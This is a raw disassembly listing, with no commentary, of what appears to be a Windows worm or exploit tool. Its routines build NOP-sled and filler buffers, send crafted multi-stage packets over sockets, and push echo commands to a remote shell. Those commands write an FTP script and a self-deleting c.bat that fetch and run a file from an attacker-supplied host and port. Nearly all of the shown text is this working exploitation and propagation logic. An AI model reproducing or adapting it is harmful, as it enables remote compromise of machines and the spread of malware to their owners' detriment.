lea ecx, [esp+86Ch+var_830]
call sub_4012C6
push 3
push offset dword_4458B8
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
lea ecx, [esp+864h+var_830]
call sub_401B7C
lea ecx, [esp+864h+var_830]
call sub_4017D5
mov ecx, 200h
mov eax, 42424242h
lea edi, [esp+864h+var_800]
push 8
rep stosd
push offset aRbrbrbrb ; "░B░B░B░B"
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ecx, [esp+864h+arg_C]
push ebx
push ecx
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ebx, [esp+864h+var_83C]
mov edx, 409h
sub edx, ebx
lea eax, [esp+864h+var_800]
push edx
push eax
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
lea ecx, [esp+864h+var_840]
call sub_401B7C
push offset loc_445C38
lea ecx, [esp+868h+var_810]
call sub_402054
lea ecx, [esp+864h+var_810]
call sub_401B7C
mov ecx, 200h
mov eax, 44444444h
lea edi, [esp+864h+var_800]
push 410h
rep stosd
lea ecx, [esp+868h+var_800]
push ecx
lea ecx, [esp+86Ch+var_808]
call sub_401843
lea ecx, [esp+864h+var_808]
call sub_401B7C
mov edx, [esp+864h+var_804]
mov eax, [esp+864h+var_808]
push edx
push eax
lea ecx, [esp+86Ch+var_810]
call sub_401EC9
lea ecx, [esp+864h+var_808]
call sub_4016C2
mov ecx, 200h
mov eax, 43434343h
lea edi, [esp+864h+var_800]
push offset aCccc ; "CCCC"
rep stosd
lea ecx, [esp+868h+var_848]
call sub_402054
push 4
push offset dword_4458BC
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov ecx, [esp+864h+arg_4]
push esi
push ecx
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov edx, 408h
lea eax, [esp+864h+var_800]
sub edx, esi
lea ecx, [esp+864h+var_848]
push edx
push eax
call sub_4012C6
lea ecx, [esp+864h+var_848]
call sub_401B7C
mov ecx, [esp+864h+var_844]
mov edx, [esp+864h+var_848]
push ecx
push edx
lea ecx, [esp+86Ch+var_820]
call sub_401505
mov eax, [esp+864h+var_80C]
mov ecx, [esp+864h+var_810]
push eax
push ecx
lea ecx, [esp+86Ch+var_820]
call sub_401505
lea ecx, [esp+864h+var_820]
call sub_4017D5
lea ecx, [esp+864h+var_848]
call sub_4016C2
lea ecx, [esp+864h+var_810]
call sub_4016C2
mov edx, [esp+864h+var_83C]
mov eax, [esp+864h+var_840]
push edx
push eax
lea ecx, [esp+86Ch+var_828]
call sub_401505
mov ecx, [esp+864h+var_82C]
mov edx, [esp+864h+var_830]
push ecx
push edx
lea ecx, [esp+86Ch+var_828]
call sub_401505
mov eax, [esp+864h+var_81C]
mov ecx, [esp+864h+var_820]
push eax
push ecx
lea ecx, [esp+86Ch+var_828]
call sub_401505
lea ecx, [esp+864h+var_828]
call sub_4017D5
lea ecx, [esp+864h+var_840]
call sub_4016C2
lea ecx, [esp+864h+var_830]
call sub_4016C2
lea ecx, [esp+864h+var_820]
call sub_4016C2
mov ecx, 200h
mov eax, 41414141h
lea edi, [esp+864h+var_800]
lea edx, [esp+864h+var_800]
rep stosd
push 400h
push edx
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
lea ecx, [esp+864h+var_838]
call sub_401B7C
push 2
push offset dword_445C2C
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
mov eax, [esp+864h+var_824]
mov ecx, [esp+864h+var_828]
push eax
push ecx
lea ecx, [esp+86Ch+var_838]
call sub_401505
lea ecx, [esp+864h+var_838]
call sub_4017D5
lea ecx, [esp+864h+var_828]
call sub_4016C2
lea ecx, [esp+864h+var_850]
call sub_4012A8
lea ecx, [esp+864h+var_858]
call sub_4012A8
mov edx, [esp+864h+var_834]
mov eax, [esp+864h+var_838]
push edx
push eax
lea ecx, [esp+86Ch+var_850]
call sub_401505
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_838]
call sub_4016C2
push offset dword_445C28
lea ecx, [esp+868h+var_858]
call sub_402054
mov ecx, [esp+864h+var_84C]
mov edx, [esp+864h+var_850]
push ecx
push edx
lea ecx, [esp+86Ch+var_858]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016C2
push offset dword_444E70
lea ecx, [esp+868h+var_850]
call sub_402054
mov eax, [esp+864h+var_854]
mov ecx, [esp+864h+var_858]
push eax
push ecx
lea ecx, [esp+86Ch+var_850]
call sub_401505
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_858]
call sub_4016C2
push offset dword_445C1C
lea ecx, [esp+868h+var_858]
call sub_402054
mov edx, [esp+864h+var_84C]
mov eax, [esp+864h+var_850]
push edx
push eax
lea ecx, [esp+86Ch+var_858]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016C2
push offset dword_445C18
lea ecx, [esp+868h+var_818]
call sub_402054
mov ecx, [esp+864h+var_854]
mov edx, [esp+864h+var_858]
push ecx
push edx
lea ecx, [esp+86Ch+var_818]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4016C2
mov eax, [esp+864h+arg_0]
mov ecx, [esp+864h+var_818]
mov edx, [esp+864h+var_814]
pop edi
mov [eax], ecx
pop esi
mov [eax+4], edx
pop ebx
add esp, 858h
retn
; ---------------------------------------------------------------------------
loc_424CF5: ; CODE XREF: sub_424920+1Ej
; sub_424920+33j
mov eax, [esp+860h+arg_0]
mov ecx, [esp+860h+var_818]
mov edx, [esp+860h+var_814]
pop esi
mov [eax], ecx
mov [eax+4], edx
pop ebx
add esp, 858h
retn
sub_424920 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E20 proc near ; CODE XREF: sub_401AC8j
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 210h
push esi
mov esi, [esp+214h+arg_0]
lea eax, [esp+214h+var_210]
lea ecx, [esp+214h+var_104]
push eax
push ecx
lea edx, [esp+21Ch+var_208]
push 0
lea eax, [esi+1]
push edx
push eax
mov [esp+228h+var_204], esi
mov [esp+228h+var_208], 1
mov [esp+228h+var_100], esi
mov [esp+228h+var_104], 1
mov [esp+228h+var_210], 0Ah
mov [esp+228h+var_20C], 0
nop
call near ptr 71AB2DC0h
cmp eax, 1
jz short loc_424E89
xor eax, eax
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424E89: ; CODE XREF: sub_424E20+5Dj
lea ecx, [esp+214h+var_208]
push ecx
push esi
call sub_438256
sub_424E20 endp
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_424EA0
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424EA0: ; CODE XREF: ___:00424E96j
mov edx, [esp+224h]
mov eax, [esp+220h]
mov ecx, [esp+21Ch]
push edx
push eax
push ecx
push esi
call near ptr 71AB615Ah
nop
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424F00 proc near ; CODE XREF: sub_4012F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
push edi
push esi
call near ptr 71AB2BC0h
nop
mov edi, [esp+0Ch+arg_0]
mov ebx, dword_511CA0
mov [esp+0Ch+arg_8], eax
push 0
lea eax, [esp+10h+arg_8]
push 4
push eax
push edi
call ebx ; send
cmp eax, 4
jz short loc_424F33
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424F33: ; CODE XREF: sub_424F00+2Bj
mov ecx, [esp+0Ch+arg_4]
push 0
push esi
push ecx
push edi
call ebx ; send
xor edx, edx
cmp eax, esi
setz dl
pop edi
pop esi
mov al, dl
pop ebx
retn
sub_424F00 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424F70 proc near ; CODE XREF: sub_4012F8j
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 104h
push ebx
push ebp
mov ebp, [esp+10Ch+arg_8]
push esi
lea esi, [ebp+41h]
push esi
mov [esp+114h+var_104], esi
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424FA3
pop esi
pop ebp
xor al, al
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424FA3: ; CODE XREF: sub_424F70+25j
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebx
mov esi, offset dword_44594C
shr ecx, 2
rep stosd
mov ecx, edx
push 85h
and ecx, 3
push offset dword_4458C4
rep stosb
mov ecx, 0Bh
mov edi, ebx
rep movsd
movsw
movsb
mov [ebx+2Fh], bp
mov eax, dword_44597C
mov [ebx+31h], eax
mov ecx, dword_445980
mov esi, [esp+11Ch+arg_4]
mov [ebx+35h], ecx
mov ecx, ebp
lea eax, [ebx+3Bh]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov [ebx+39h], bp
add eax, ebp
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, dword_510110
mov esi, [esp+11Ch+arg_0]
mov [eax], ecx
mov dx, word_510114
push esi
mov [eax+4], dx
call sub_4012F3
add esp, 0Ch
test al, al
pop edi
jnz short loc_425048
push ebx
call near ptr 77C2C21Bh
nop
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_425048: ; CODE XREF: sub_424F70+C0j
push 0
lea eax, [esp+114h+var_100]
push 100h
push eax
push esi
call sub_401AC8
mov ecx, [esp+120h+var_104]
push ecx
push ebx
push esi
call sub_4012F3
add esp, 1Ch
test al, al
jnz short loc_425083
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_425083: ; CODE XREF: sub_424F70+FBj
push 0
lea edx, [esp+114h+var_100]
push 100h
push edx
push esi
call sub_401AC8
push ebx
nop
call near ptr 77C2C21Bh
add esp, 14h
mov al, 1
pop esi
pop ebp
pop ebx
add esp, 104h
retn
sub_424F70 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425100 proc near ; CODE XREF: sub_401820j
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = word ptr -418h
var_416 = dword ptr -416h
var_412 = dword ptr -412h
var_40E = dword ptr -40Eh
var_40A = word ptr -40Ah
var_408 = dword ptr -408h
var_400 = byte ptr -400h
var_3FF = byte ptr -3FFh
var_371 = byte ptr -371h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_9E = dword ptr 0A2h
sub esp, 420h
push ebp
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [esp+42Ch+var_3FF]
rep stosd
stosw
stosb
mov ecx, 23h
mov esi, offset sub_445AF0
lea edi, [esp+42Ch+var_400]
rep movsd
movsw
mov ecx, offset byte_449521
movsb
call sub_4017EE
push eax
mov ecx, offset byte_449521
call sub_4017EE
mov ecx, [esp+430h+arg_0]
push eax
mov eax, dword_44965F
push eax
push ecx
call sub_401E10
add esp, 4
lea edx, [esp+438h+var_371]
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
push 400h
push edx
call near ptr 77C3FA76h
nop
add eax, 90h
lea ecx, [esp+448h+var_408]
push eax
lea eax, [esp+44Ch+var_400]
push eax
push 164h
push offset sub_445988
push ecx
call sub_401BFE
mov edx, [eax]
xor edi, edi
mov [esp+45Ch+var_420], edx
add esp, 30h
mov eax, [eax+4]
cmp eax, edi
mov [esp+42Ch+var_41C], eax
jnz short loc_4251B2
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 420h
retn
; ---------------------------------------------------------------------------
loc_4251B2: ; CODE XREF: sub_425100+A4j
mov ebp, dword_511C38
mov [esp+42Ch+var_408], edi
loc_4251BC: ; CODE XREF: sub_425100+161j
test edi, edi
jnz loc_425267
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_42524A
mov ecx, [esp+42Ch+arg_9E]
xor eax, eax
mov [esp+42Ch+var_416], eax
push ecx
mov [esp+430h+var_412], eax
mov [esp+430h+var_418], 2
mov [esp+430h+var_40E], eax
mov [esp+430h+var_40A], ax
call ebp ; ntohs
lea edx, [esp+42Ch+arg_4]
mov word ptr [esp+42Ch+var_416], ax
push edx
nop
call near ptr 71AB2BF4h
mov [esp+42Ch+var_416+2], eax
lea eax, [esp+42Ch+var_418]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz short loc_42523F
mov ecx, [esp+42Ch+var_41C]
mov edx, [esp+42Ch+var_420]
push ecx
push edx
push esi
call sub_4012F8
add esp, 0Ch
and eax, 0FFh
mov edi, eax
loc_42523F: ; CODE XREF: sub_425100+123j
push esi
nop
call near ptr 71AB9639h
test edi, edi
jnz short loc_425255
loc_42524A: ; CODE XREF: sub_425100+D5j
push 3E8h
nop
call near ptr 2830000h
loc_425255: ; CODE XREF: sub_425100+148j
mov eax, [esp+42Ch+var_408]
inc eax
cmp eax, 2
mov [esp+42Ch+var_408], eax
jl loc_4251BC
loc_425267: ; CODE XREF: sub_425100+BEj
lea ecx, [esp+42Ch+var_420]
call sub_4016C2
test edi, edi
jz short loc_425297
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+4E8h+arg_0]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_425297: ; CODE XREF: sub_425100+172j
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 420h
retn
sub_425100 endp
; ---------------------------------------------------------------------------
aRrrrrrrrrr db '░░░░░░░░░░ллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'лллллллллллллллллллллллллллллллллллллллллллллллллллллллллИ',1Bh,0
align 4
dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h
dd 2EE06800h, 77E80000h, 83FFFDCEh, 18A308C4h, 0C3005101h
dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_425370 proc near ; CODE XREF: sub_4013D4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
push 0C8h
call near ptr 2830000h
nop
mov edx, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
mov eax, [esp+4+arg_0]
push 0
not ecx
dec ecx
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
pop edi
setnz al
retn
sub_425370 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4253C0 proc near ; CODE XREF: sub_4013BBj
var_434 = byte ptr -434h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_4253C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 428h
xor eax, eax
push ebx
mov [esp+438h+var_41C], eax
push esi
mov [esp+43Ch+var_418], eax
lea ecx, [esp+43Ch+arg_4]
push edi
mov [esp+440h+var_414], eax
push ecx
mov [esp+444h+var_410], eax
mov word ptr [esp+444h+var_41C], 2
nop
call near ptr 71AB2BF4h
mov dx, word_510118
mov [esp+440h+var_418], eax
push edx
call near ptr 71AB2B66h
nop
push 0
push 1
push 2
mov word ptr [esp+44Ch+var_41C+2], ax
nop
call near ptr 71AB3B91h
mov esi, eax
or ebx, 0FFFFFFFFh
cmp esi, ebx
jz loc_4256BE
lea eax, [esp+440h+var_41C]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, ebx
jz loc_4256BE
mov edi, dword_511CA4
push 0
lea ecx, [esp+444h+var_40C]
push 400h
push ecx
push esi
call edi ; recv
lea ecx, [esp+440h+var_434]
call sub_40142E
mov edx, dword_44965F
mov eax, [esp+440h+arg_0]
push edx
push eax
mov [esp+448h+var_4], 0
call sub_401E10
add esp, 4
lea ecx, [esp+444h+var_434]
push eax
push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
mov ecx, offset byte_449521
call sub_4017EE
push eax
lea ecx, [esp+444h+var_434]
push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoBye_pif ; "echo bye>>.pif \r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea ecx, [esp+440h+var_434]
push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
mov ecx, offset byte_449521
call sub_4017EE
push eax
lea edx, [esp+444h+var_434]
push offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea ecx, [esp+440h+var_434]
push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea eax, [esp+440h+var_434]
push offset dword_4467B4
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jnz short loc_4256C2
loc_4256AE: ; CODE XREF: sub_4253C0+F3j
; sub_4253C0+120j ...
lea ecx, [esp+440h+var_434]
mov [esp+440h+var_4], ebx
call sub_401226
loc_4256BE: ; CODE XREF: sub_4253C0+6Fj
; sub_4253C0+85j
xor al, al
jmp short loc_4256EA
; ---------------------------------------------------------------------------
loc_4256C2: ; CODE XREF: sub_4253C0+2ECj
push 0
lea ecx, [esp+444h+var_40C]
push 400h
push ecx
push esi
call edi ; recv
push esi
nop
call near ptr 71AB9639h
lea ecx, [esp+440h+var_434]
mov [esp+440h+var_4], ebx
call sub_401226
mov al, 1
loc_4256EA: ; CODE XREF: sub_4253C0+300j
mov ecx, [esp+440h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 434h
retn
sub_4253C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4257F0 proc near ; CODE XREF: sub_40180Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_28 = byte ptr 2Ch
arg_2C = byte ptr 30h
arg_2F = byte ptr 33h
arg_59 = byte ptr 5Dh
arg_5B = byte ptr 5Fh
arg_5C = byte ptr 60h
arg_90 = byte ptr 94h
arg_A4 = byte ptr 0A8h
arg_A5 = byte ptr 0A9h
arg_F0 = byte ptr 0F4h
arg_190 = byte ptr 194h
arg_89C = dword ptr 8A0h
arg_8AC = byte ptr 8B0h
arg_8D4 = dword ptr 8D8h
arg_8E4 = byte ptr 8E8h
arg_C08 = dword ptr 0C0Ch
arg_C0C = dword ptr 0C10h
arg_C18 = byte ptr 0C1Ch
arg_E30 = byte ptr 0E34h
arg_E50 = byte ptr 0E54h
arg_E70 = byte ptr 0E74h
arg_E90 = byte ptr 0E94h
arg_1480 = byte ptr 1484h
arg_14E0 = byte ptr 14E4h
arg_14FC = byte ptr 1500h
arg_1CCC = byte ptr 1CD0h
arg_2177 = byte ptr 217Bh
arg_2464 = byte ptr 2468h
arg_24C5 = byte ptr 24C9h
arg_34F8 = byte ptr 34FCh
arg_3FA0 = byte ptr 3FA4h
arg_3FC0 = byte ptr 3FC4h
arg_401C = byte ptr 4020h
arg_401D = byte ptr 4021h
arg_4020 = byte ptr 4024h
arg_4030 = byte ptr 4034h
arg_4AF4 = byte ptr 4AF8h
arg_6098 = byte ptr 609Ch
arg_60F8 = byte ptr 60FCh
arg_6100 = byte ptr 6104h
arg_8140 = byte ptr 8144h
arg_81DC = byte ptr 81E0h
arg_8234 = dword ptr 8238h
arg_8290 = dword ptr 8294h
arg_8294 = dword ptr 8298h
mov eax, 81D8h
call sub_437B30
mov eax, dword_446914
mov ecx, dword_446918
push ebx
push ebp
push esi
lea edx, [esp+0Ch+arg_81DC]
push edi
mov [esp+10h], eax
push edx
lea eax, [esp+14h+arg_4]
push offset dword_446908
push eax
mov [esp+1Ch+arg_0], ecx
nop
call sub_5F74D1
add esp, 0Ch
xor eax, eax
lea ecx, [esp+10h+arg_A5]
loc_425835: ; CODE XREF: sub_4257F0+56j
mov dl, [esp+eax+10h+arg_4]
inc eax
mov [ecx-1], dl
mov byte ptr [ecx], 0
add ecx, 2
cmp eax, 28h
jl short loc_425835
mov ecx, 18h
mov esi, offset dword_4461D8
lea edi, [esp+10h+arg_2C]
xor eax, eax
rep movsd
lea edi, [esp+10h+arg_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea esi, [esp+10h+arg_A4]
shl ecx, 1
mov eax, ecx
lea edi, [esp+10h+arg_5C]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
mov edx, dword_44622F
rep movsb
lea edi, [esp+10h+arg_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
mov eax, dword_446233
dec ecx
lea edi, [esp+10h+arg_4]
lea ecx, [esp+ecx*2+10h+arg_5B]
mov [ecx], edx
mov dl, byte_446237
mov [ecx+4], eax
xor eax, eax
mov [ecx+8], dl
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+10h+arg_4]
mov ebx, ecx
or ecx, 0FFFFFFFFh
add bl, 1Ah
shl bl, 1
repne scasb
mov ax, word_510118
mov [esp+10h+arg_2F], bl
not ecx
dec ecx
push eax
shl cl, 1
add cl, 9
mov [esp+14h+arg_59], cl
call near ptr 71AB2B66h
nop
mov edx, [esp+14h+arg_8294]
xor eax, 9999h
test edx, edx
mov word_445ED8, ax
jz loc_4259E3
mov ecx, 36Bh
mov eax, 90909090h
lea edi, [esp+14h+arg_F0]
mov edx, dword_4465CC[edx*8]
rep stosd
mov edi, offset loc_445E28
or ecx, 0FFFFFFFFh
xor eax, eax
mov esi, offset loc_445E28
repne scasb
not ecx
dec ecx
lea edi, [esp+14h+arg_8E4]
mov eax, ecx
mov [esp+14h+arg_8D4], edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, dword_446900
mov edi, offset loc_445E28
mov [esp+14h+arg_C08], ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov [esp+14h+arg_C0C], edx
mov edx, ecx
mov esi, offset loc_445E28
lea edi, [esp+14h+arg_C18]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+14h+arg_24C5]
loc_42598F: ; CODE XREF: sub_4257F0+1B5j
mov dl, [esp+eax+14h+arg_F0]
inc eax
mov [ecx-1], dl
mov byte ptr [ecx], 0
add ecx, 2
cmp eax, 0DACh
jl short loc_42598F
mov ecx, 714h
mov eax, 31313131h
lea edi, [esp+14h+arg_60F8]
mov [esp+14h+arg_401C], 0
rep stosd
stosw
mov ecx, 714h
mov eax, 31313131h
lea edi, [esp+14h+arg_4020]
mov [esp+14h+arg_401D], 0
rep stosd
stosw
jmp short loc_425A52
; ---------------------------------------------------------------------------
loc_4259E3: ; CODE XREF: sub_4257F0+10Bj
mov ecx, 1F4h
mov eax, 90909090h
lea edi, [esp+14h+arg_F0]
mov esi, offset loc_445E28
rep stosd
mov edi, offset loc_445E28
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea edi, [esp+14h+arg_190]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+14h+var_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea esi, [esp+14h+var_4]
mov edx, ecx
lea edi, [esp+14h+arg_8AC]
shr ecx, 2
rep movsd
mov eax, dword_4465CC
mov ecx, edx
and ecx, 3
rep movsb
mov [esp+14h+arg_89C], eax
loc_425A52: ; CODE XREF: sub_4257F0+1F1j
mov ecx, 38Ah
mov eax, 31313131h
lea edi, [esp+14h+arg_14E0]
mov ebp, [esp+14h+arg_8290]
rep stosd
movsx ecx, bl
mov ebx, dword_511CA0
add ecx, 4
push 0
lea edx, [esp+18h+arg_28]
push ecx
push edx
push ebp
stosb
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425A96
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425A96: ; CODE XREF: sub_4257F0+297j
mov esi, dword_511CA4
push 0
lea eax, [esp+28h+arg_E90]
push 640h
push eax
push ebp
call esi ; recv
push 0
push 68h
push offset dword_44623C
push ebp
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425ACC
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425ACC: ; CODE XREF: sub_4257F0+2CDj
push 0
lea ecx, [esp+48h+arg_E70]
push 640h
push ecx
push ebp
call esi ; recv
push 0
push 0A0h
push offset dword_4462A8
push ebp
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425AFF
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425AFF: ; CODE XREF: sub_4257F0+300j
push 0
lea edx, [esp+68h+arg_E50]
push 640h
push edx
push ebp
call esi ; recv
mov eax, [esp+74h+arg_8234]
test eax, eax
jz loc_425BE5
mov ecx, 1Ah
mov esi, offset dword_446460
lea edi, [esp+74h+arg_6098]
push 0
rep movsd
mov ecx, 6D6h
lea esi, [esp+78h+arg_2464]
lea edi, [esp+78h+arg_6100]
lea eax, [esp+78h+arg_6098]
rep movsd
movsw
mov ecx, 1Ch
mov esi, offset dword_4464CC
lea edi, [esp+78h+arg_3FC0]
push 10FCh
rep movsd
mov ecx, 297h
lea esi, [esp+7Ch+arg_34F8]
lea edi, [esp+7Ch+arg_4030]
push eax
rep movsd
movsw
mov ecx, 21h
mov esi, offset dword_446540
lea edi, [esp+80h+arg_4AF4]
push ebp
rep movsd
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425BAB
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_4257F0+3ACj
push 0
lea ecx, [esp+88h+arg_E30]
push 640h
push ecx
push ebp
call near ptr 71AB615Ah
nop
push 0
lea edx, [esp+98h+arg_3FA0]
push 0FDCh
push edx
push ebp
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425C4C
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425BE5: ; CODE XREF: sub_4257F0+32Aj
mov ecx, 1Fh
mov esi, offset dword_44634C
lea edi, [esp+74h+arg_1480]
push 0
rep movsd
